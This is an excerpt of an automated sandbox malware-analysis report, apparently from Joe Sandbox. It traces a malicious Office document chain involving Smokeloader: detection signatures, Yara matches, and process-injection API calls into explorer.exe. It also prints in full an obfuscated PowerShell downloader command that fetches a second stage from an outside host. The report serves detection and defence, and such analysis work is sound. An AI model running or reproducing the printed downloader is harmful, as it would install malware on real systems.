Source: C:\Windows\SysWOW64\explorer.exe Code function: GetModuleFileNameA,GetCurrentProcessId,wsprintfA,CreateMutexA,GetLastError,RtlInitializeCriticalSection,PathFindFileNameA,lstrcat,Sleep,lstrcmpi,lstrcmpi,GetCommandLineW,CommandLineToArgvW,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,lstrcmpi,lstrcmpi,lstrcmpi,StrStrIA,GetCommandLineA,GetCommandLineA,StrStrIA,GetModuleHandleA,lstrcmpi,GetCommandLineA,StrStrIA,lstrcmpi,GetCommandLineA,StrStrIA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,RtlExitUserThread,wsprintfA,lstrcmpi,CreateToolhelp32Snapshot,Process32First,CloseHandle,Sleep, firefox.exe 22_2_00083862
Source: C:\Windows\SysWOW64\explorer.exe Code function: GetModuleFileNameA,GetCurrentProcessId,wsprintfA,CreateMutexA,GetLastError,RtlInitializeCriticalSection,PathFindFileNameA,lstrcat,Sleep,lstrcmpi,lstrcmpi,GetCommandLineW,CommandLineToArgvW,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,lstrcmpi,lstrcmpi,lstrcmpi,StrStrIA,GetCommandLineA,GetCommandLineA,StrStrIA,GetModuleHandleA,lstrcmpi,GetCommandLineA,StrStrIA,lstrcmpi,GetCommandLineA,StrStrIA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,RtlExitUserThread,wsprintfA,lstrcmpi,CreateToolhelp32Snapshot,Process32First,CloseHandle,Sleep, iexplore.exe 22_2_00083862
Source: C:\Windows\SysWOW64\explorer.exe Code function: GetModuleFileNameA,GetCurrentProcessId,wsprintfA,CreateMutexA,GetLastError,RtlInitializeCriticalSection,PathFindFileNameA,lstrcat,Sleep,lstrcmpi,lstrcmpi,GetCommandLineW,CommandLineToArgvW,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,lstrcmpi,lstrcmpi,lstrcmpi,StrStrIA,GetCommandLineA,GetCommandLineA,StrStrIA,GetModuleHandleA,lstrcmpi,GetCommandLineA,StrStrIA,lstrcmpi,GetCommandLineA,StrStrIA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,RtlExitUserThread,wsprintfA,lstrcmpi,CreateToolhelp32Snapshot,Process32First,CloseHandle,Sleep, microsoftedgecp.exe 22_2_00083862
Source: C:\Windows\SysWOW64\explorer.exe Code function: GetModuleFileNameA,GetCurrentProcessId,wsprintfA,CreateMutexA,GetLastError,RtlInitializeCriticalSection,PathFindFileNameA,lstrcat,Sleep,lstrcmpi,lstrcmpi,GetCommandLineW,CommandLineToArgvW,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,lstrcmpi,lstrcmpi,lstrcmpi,StrStrIA,GetCommandLineA,GetCommandLineA,StrStrIA,GetModuleHandleA,lstrcmpi,GetCommandLineA,StrStrIA,lstrcmpi,GetCommandLineA,StrStrIA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,RtlExitUserThread,wsprintfA,lstrcmpi,CreateToolhelp32Snapshot,Process32First,CloseHandle,Sleep, chrome.exe 22_2_00083862

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 0000000D.00000002.467103946.0000000000131000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000D.00000002.467072313.0000000000110000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000E.00000002.606652331.0000000003F11000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: Process Memory Space: powershell.exe PID: 3520, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3620, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1B25204E.doc, type: DROPPED Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\lionsarebeautifultoruletheforestandtheyalwayskingogthejunglewhoneverknowmanythingkingisrigerbutlionisthekingo__junglelionbeautiufl[1].doc, type: DROPPED Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Excel sheet contains many unusual embedded objects
Source: #20240627_Edlen_A.xls OLE: Microsoft Excel 2007+
Source: 26330000.0.dr OLE: Microsoft Excel 2007+
Microsoft Office drops suspicious files
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\nXPJ.url Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\z2.ink.url Jump to behavior
Very long command line found
Source: C:\Windows\SysWOW64\wscript.exe Process created: Commandline size = 8798
Source: C:\Windows\SysWOW64\wscript.exe Process created: Commandline size = 8798 Jump to behavior
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\SysWOW64\wscript.exe COM Object queried: XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}\ProgID Jump to behavior
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDgDgTreNQDgTrevDgTreDcDgTreMgDgTrewDgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDYDgTreMwDgTrewDgTreDcDgTreNgDgTrezDgTreDQDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhD
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDgDgTreNQDgTrevDgTreDcDgTreMgDgTrewDgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDYDgTreMwDgTrewDgTreDcDgTreNgDgTrezDgTreDQDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhD Jump to behavior
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\rugtucw Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Memory allocated: 770B0000 page execute and read and write
Source: C:\Windows\SysWOW64\explorer.exe Memory allocated: 770B0000 page execute and read and write
Source: C:\Windows\SysWOW64\explorer.exe Memory allocated: 770B0000 page execute and read and write
Source: C:\Windows\SysWOW64\explorer.exe Memory allocated: 770B0000 page execute and read and write
Contains functionality to call native functions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004014BF NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 13_2_004014BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00402321 NtQuerySystemInformation,NtQueryInformationProcess, 13_2_00402321
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004025D3 NtClose, 13_2_004025D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004014D6 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 13_2_004014D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004022D8 NtQuerySystemInformation,NtQueryInformationProcess, 13_2_004022D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004022D9 NtQuerySystemInformation,NtQueryInformationProcess, 13_2_004022D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004022E5 NtQuerySystemInformation,NtQueryInformationProcess, 13_2_004022E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004014E8 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 13_2_004014E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004014EB NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 13_2_004014EB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_004022F7 NtQuerySystemInformation,NtQueryInformationProcess, 13_2_004022F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00402686 NtClose, 13_2_00402686
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0040328D GetModuleHandleA,Sleep,MapViewOfFile,LocalAlloc,OpenProcessToken,NtOpenKey,wcsstr, 13_2_0040328D
Source: C:\Windows\explorer.exe Code function: 14_2_03F14760 NtCreateSection, 14_2_03F14760
Source: C:\Windows\explorer.exe Code function: 14_2_03F12FAC NtQueryInformationProcess,NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,WriteProcessMemory,CloseHandle, 14_2_03F12FAC
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_00084B92 RtlMoveMemory,NtUnmapViewOfSection, 18_2_00084B92
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_000833C3 NtQueryInformationFile, 18_2_000833C3
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_0008342B NtQueryObject,NtQueryObject,RtlMoveMemory, 18_2_0008342B
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_0008349B CreateFileW,OpenProcess,NtQueryInformationProcess,NtQueryInformationProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,lstrcmpiW,NtQueryObject,StrRChrW,StrRChrW,lstrcmpiW,GetFileSize,SetFilePointer,SetFilePointer,ReadFile,SetFilePointer,CloseHandle,CloseHandle,CloseHandle, 18_2_0008349B
Source: C:\Windows\explorer.exe Code function: 19_2_000638B0 NtUnmapViewOfSection, 19_2_000638B0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 21_2_00081016 RtlMoveMemory,NtUnmapViewOfSection, 21_2_00081016
Source: C:\Windows\SysWOW64\explorer.exe Code function: 22_2_00083D8D RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection, 22_2_00083D8D
Source: C:\Windows\SysWOW64\explorer.exe Code function: 22_2_00082E1B OpenProcess,lstrcmpi,NtQueryInformationProcess,NtQueryInformationProcess,StrStrIW, 22_2_00082E1B
Source: C:\Windows\SysWOW64\explorer.exe Code function: 22_2_00081F4E NtCreateSection,NtMapViewOfSection, 22_2_00081F4E
Source: C:\Windows\SysWOW64\explorer.exe Code function: 22_2_00081FE5 lstrcmpi,OpenProcess,NtSetInformationProcess,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,CloseHandle,CreateMutexA,GetLastError,CloseHandle,Sleep,GetModuleHandleA,GetProcAddress,ReadProcessMemory,WriteProcessMemory,CreateRemoteThread,CloseHandle,Sleep,WriteProcessMemory,CreateRemoteThread,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle, 22_2_00081FE5
Source: C:\Windows\explorer.exe Code function: 23_2_000E5300 RtlAllocateHeap,NtUnmapViewOfSection, 23_2_000E5300
Source: C:\Windows\SysWOW64\explorer.exe Code function: 24_2_00081016 RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,GetCurrentProcessId,lstrcmpi,CreateToolhelp32Snapshot,Process32First,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,Process32Next,CloseHandle,Sleep, 24_2_00081016
Source: C:\Windows\SysWOW64\explorer.exe Code function: 24_2_00081A80 NtCreateSection,NtMapViewOfSection, 24_2_00081A80
Source: C:\Windows\SysWOW64\explorer.exe Code function: 24_2_00081819 lstrcmpi,OpenProcess,NtSetInformationProcess,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,CloseHandle,CreateMutexA,GetLastError,CloseHandle,Sleep,GetModuleHandleA,GetProcAddress,ReadProcessMemory,WriteProcessMemory,CreateRemoteThread,CloseHandle,Sleep,WriteProcessMemory,CreateRemoteThread,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle, 24_2_00081819
Source: C:\Windows\explorer.exe Code function: 25_2_000E355C RtlAllocateHeap,NtUnmapViewOfSection, 25_2_000E355C
Source: C:\Windows\SysWOW64\explorer.exe Code function: 28_2_000C1016 RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,GetCurrentProcessId,wsprintfA,RtlMoveMemory,CreateToolhelp32Snapshot,Process32First,CharLowerA,lstrcmpi,lstrcmpi,Process32Next,CloseHandle,Sleep, 28_2_000C1016
Source: C:\Windows\SysWOW64\explorer.exe Code function: 28_2_000C1B26 NtCreateSection,NtMapViewOfSection, 28_2_000C1B26
Source: C:\Windows\SysWOW64\explorer.exe Code function: 28_2_000C18BF OpenProcess,NtSetInformationProcess,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,CloseHandle,CreateMutexA,GetLastError,CloseHandle,Sleep,GetModuleHandleA,GetProcAddress,ReadProcessMemory,WriteProcessMemory,CreateRemoteThread,CloseHandle,Sleep,WriteProcessMemory,CreateRemoteThread,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle, 28_2_000C18BF
Source: C:\Windows\explorer.exe Code function: 29_2_0006370C RtlAllocateHeap,NtUnmapViewOfSection, 29_2_0006370C
Deletes files inside the Windows folder
Source: C:\Windows\explorer.exe File deleted: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Jump to behavior
Detected potential crypto function
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_00455498 12_2_00455498
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 12_2_004551E8 12_2_004551E8
Source: C:\Windows\explorer.exe Code function: 14_2_03F12840 14_2_03F12840
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_00082198 18_2_00082198
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_0008C2F9 18_2_0008C2F9
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_0009B35C 18_2_0009B35C
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_000D4438 18_2_000D4438
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_0009B97E 18_2_0009B97E
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_00086E6A 18_2_00086E6A
Source: C:\Windows\SysWOW64\explorer.exe Code function: 18_2_000A5F08 18_2_000A5F08
Source: C:\Windows\explorer.exe Code function: 19_2_00061E20 19_2_00061E20
Source: C:\Windows\SysWOW64\explorer.exe Code function: 21_2_0008170B 21_2_0008170B
Source: C:\Windows\explorer.exe Code function: 23_2_000E2C00 23_2_000E2C00
Source: C:\Windows\explorer.exe Code function: 25_2_000E2054 25_2_000E2054
Source: C:\Windows\explorer.exe Code function: 25_2_000E2860 25_2_000E2860
Source: C:\Windows\explorer.exe Code function: 29_2_00062A04 29_2_00062A04
Source: C:\Windows\explorer.exe Code function: 29_2_000620F4 29_2_000620F4
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: ~WRF{D9BCE685-2557-45B4-B3BC-EEF401A63014}.tmp.4.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Roaming\rugtucw D2F0B87E2D2707685C4D35F8F05B42FB8326EF4E70D16097B8837DABA06AC961
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\explorer.exe Code function: String function: 00087F70 appears 32 times
Source: C:\Windows\SysWOW64\explorer.exe Code function: String function: 00088801 appears 40 times
Yara signature match
Source: 0000000D.00000002.467103946.0000000000131000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000D.00000002.467072313.0000000000110000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
